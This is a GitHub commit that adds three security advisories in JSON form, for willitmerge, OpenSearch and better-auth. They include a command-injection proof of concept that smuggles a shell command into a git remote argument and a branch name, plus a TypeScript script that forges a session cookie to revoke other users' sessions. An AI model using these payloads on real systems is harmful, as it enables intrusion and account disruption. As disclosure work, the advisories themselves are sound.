Skip to content

Commit 3e6e8be

Browse files
1 parent 319e8c2 commit 3e6e8be

File tree

4 files changed

+191
-40
lines changed

4 files changed

+191
-40
lines changed
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j9wj-m24m-7jj6",
4+
"modified": "2025-11-26T22:09:27Z",
5+
"published": "2025-11-26T22:09:27Z",
6+
"aliases": [],
7+
"summary": "willitmerge has a Command Injection vulnerability",
8+
"details": "willitmerge describes itself as a command line tool to check if pull requests are mergeable. There is a Command Injection vulnerability in version `[email protected]`.\n\nResources: \n * Project's GitHub source code: https://github.com/shama/willitmerge/\n * Project's npm package: https://www.npmjs.com/package/willitmerge\n\n## Background on exploitation\n\nReporting a Command Injection vulnerability in `willitmerge` npm package.\n\nA security vulnerability manifests in this package due to the use of insecure child process execution API (`exec`) to which it concateanes user input, whether provided to the command-line flag, or is in user control in the target repository.\n\n## Exploit \n\n### POC 1\n\n1. Install `willitmerge`\n2. Run it with the following command\n\n```sh\nwillitmerge --verbose --remote \"https://github.com/lirantal/npq.git; touch /tmp/hel\"\n```\n\n3. Confirm the file `/tmp/hel` is created on disk\n\n### GitHub-sourced attack vector\n\n[Lines 189-197](https://github.com/shama/willitmerge/blob/2fe91d05191fb05ac6da685828d109a3a5885028/lib/willitmerge.js#L189-L197) in `lib/willitmerge.js`\npass user input controlled by repository collaborators into the git command:\n\n```js\n var cmds = [\n 'git checkout -b ' + branch + ' ' + that.options.remote + '/' + iss.base.ref,\n 'git remote add ' + branch + ' ' + gitUrl,\n 'git pull ' + branch + ' ' + iss.head.ref,\n 'git reset --merge HEAD',\n 'git checkout ' + origBranch,\n 'git branch -D ' + branch,\n 'git remote rm ' + branch\n ];\n```\n\nUsers creating malicious branch names such as `;{echo,hello,world}>/tmp/c`\n\nThis is a similar attack vector to that which was reported for the [pullit vulnerability (https://security.snyk.io/vuln/npm:pullit:20180214)\n\n# Author\n\nLiran Tal",
9+
"severity": [],
10+
"affected": [
11+
{
12+
"package": {
13+
"ecosystem": "npm",
14+
"name": "willitmerge"
15+
},
16+
"ranges": [
17+
{
18+
"type": "ECOSYSTEM",
19+
"events": [
20+
{
21+
"introduced": "0"
22+
},
23+
{
24+
"last_affected": "0.2.1"
25+
}
26+
]
27+
}
28+
]
29+
}
30+
],
31+
"references": [
32+
{
33+
"type": "WEB",
34+
"url": "https://github.com/shama/willitmerge/security/advisories/GHSA-j9wj-m24m-7jj6"
35+
},
36+
{
37+
"type": "PACKAGE",
38+
"url": "https://github.com/shama/willitmerge"
39+
},
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/shama/willitmerge/blob/2fe91d05191fb05ac6da685828d109a3a5885028/lib/willitmerge.js#L189-L197"
43+
}
44+
],
45+
"database_specific": {
46+
"cwe_ids": [
47+
"CWE-77"
48+
],
49+
"severity": "MODERATE",
50+
"github_reviewed": true,
51+
"github_reviewed_at": "2025-11-26T22:09:27Z",
52+
"nvd_published_at": null
53+
}
54+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mw3v-mmfw-3x2g",
4+
"modified": "2025-11-26T22:10:36Z",
5+
"published": "2025-11-25T21:32:07Z",
6+
"aliases": [
7+
"CVE-2025-9624"
8+
],
9+
"summary": "OpenSearch is vulnerable to DoS via complex query_string inputs",
10+
"details": "A vulnerability in OpenSearch allows attackers to cause Denial of Service (DoS) by submitting complex query_string inputs.\n\nThis issue affects all OpenSearch versions below 3.2.0.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.opensearch:opensearch-common"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.3.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "ADVISORY",
41+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9624"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/opensearch-project/OpenSearch/pull/19491"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://fluidattacks.com/advisories/chick"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/opensearch-project/OpenSearch"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://opensearch.org/blog/explore-opensearch-3-3"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-674"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2025-11-26T22:10:36Z",
67+
"nvd_published_at": "2025-11-25T20:16:01Z"
68+
}
69+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-wmjr-v86c-m9jj",
4+
"modified": "2025-11-26T22:11:50Z",
5+
"published": "2025-11-26T22:11:50Z",
6+
"aliases": [],
7+
"summary": "Better Auth's multi-session sign-out hook allows forged cookies to revoke arbitrary sessions",
8+
"details": "## Summary\n- Vulnerable component: `multi-session` plugin’s `/sign-out` after-hook (`packages/better-auth/src/plugins/multi-session/index.ts`)\n- Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to `internalAdapter.deleteSessions`, allowing forged cookies to revoke arbitrary sessions.\n- Status: Reproduced locally with updated proof-of-concept.\n\n## Impact\nAny authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger `/sign-out`. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.\n\n## Product / Version\n- Repository: `better-auth`\n- Branch: `canary`\n- Affected file: `packages/better-auth/src/plugins/multi-session/index.ts` (current head)\n- Dependency configuration: `pnpm install`, Bun runtime (`bun v1.3.0`)\n\n## Steps to Reproduce\n1. Clone the repository and install dependencies with `pnpm install`.\n2. Ensure Bun is installed.\n3. Save the proof-of-concept script below as `PROOF_OF_CONCEPTS/multi_session/force-signout.ts`.\n4. Run:\n ```\n bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts\n ```\n5. Observe the simulated adapter logging deletion of the attacker-chosen token.\n\n## Proof of Concept\nCurrent PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):\n\n```ts\nimport { multiSession } from \"../../packages/better-auth/src/plugins/multi-session\";\nimport type { AuthMiddleware } from \"../../packages/core/src/api/index\";\n\nconst plugin = multiSession();\n\nconst hook = plugin.hooks.after\n ?.slice()\n .reverse()\n .find((h) => h.matcher({ path: \"/sign-out\" } as any));\n\nconst deleteSessions = (tokenList: string[]) => {\n console.log(\"deleteSessions invoked with:\", tokenList);\n};\n\nconst ctx = {\n headers: new Headers({\n cookie: \"better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake\",\n }),\n context: {\n secret: \"dummy-secret\",\n authCookies: {\n sessionToken: {\n name: \"better-auth.session_token\",\n options: {},\n },\n },\n internalAdapter: {\n deleteSessions: deleteSessions,\n },\n },\n getSignedCookie: async (name: string) => {\n if (name.includes(\"_multi-\")) {\n // simulate forged cookie appearing valid\n return \"TARGETTOKEN\";\n }\n return \"my-valid-session\";\n },\n setCookie: () => {},\n json: () => {},\n} as unknown as Parameters<AuthMiddleware>[0];\n\nif (!hook) {\n throw new Error(\"Sign-out hook not found\");\n}\n\n(async () => {\n await hook.handler(ctx as any);\n})();\n```\n\n### PoC Output\n\n```\ndeleteSessions invoked with: [ \"TARGETTOKEN\" ]\n```\n\n![Screenshot 2025-11-12 at 5 32 52 PM](https://github.com/user-attachments/assets/d181916e-c0a8-4124-bdf3-7559315068d9)\n\nThis shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.\n\n## Root Cause\nThe multi-session sign-out hook parses cookies with `parseCookies(cookieHeader)` and, for every key matching the `_multi-` naming pattern, sets a blank cookie response and splits the value on `.` to extract the token. No call to `ctx.getSignedCookie` or equivalent verification occurs before invoking `ctx.context.internalAdapter.deleteSessions(...)`.\n\n## Severity / CVSS\n- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H`\n- Rationale: Logged-in attacker, no user interaction, compromise propagates across users; integrity and availability impact are high due to remote session revocation.\n\nThis vulnerability was discovered by [winfunc](https://winfunc.com).",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H"
13+
},
14+
{
15+
"type": "CVSS_V4",
16+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:N"
17+
}
18+
],
19+
"affected": [
20+
{
21+
"package": {
22+
"ecosystem": "npm",
23+
"name": "better-auth"
24+
},
25+
"ranges": [
26+
{
27+
"type": "ECOSYSTEM",
28+
"events": [
29+
{
30+
"introduced": "1.3.34"
31+
},
32+
{
33+
"fixed": "1.4.0"
34+
}
35+
]
36+
}
37+
]
38+
}
39+
],
40+
"references": [
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-wmjr-v86c-m9jj"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/better-auth/better-auth/commit/cfc453a2a6eb02951f9a0a7c944064936e73eee8"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/better-auth/better-auth"
52+
},
53+
{
54+
"type": "WEB",
55+
"url": "https://github.com/better-auth/better-auth/releases/tag/v1.4.0"
56+
}
57+
],
58+
"database_specific": {
59+
"cwe_ids": [
60+
"CWE-287",
61+
"CWE-345"
62+
],
63+
"severity": "LOW",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2025-11-26T22:11:50Z",
66+
"nvd_published_at": null
67+
}
68+
}

advisories/unreviewed/2025/11/GHSA-mw3v-mmfw-3x2g/GHSA-mw3v-mmfw-3x2g.json

Lines changed: 0 additions & 40 deletions
This file was deleted.

0 commit comments

Comments
 (0)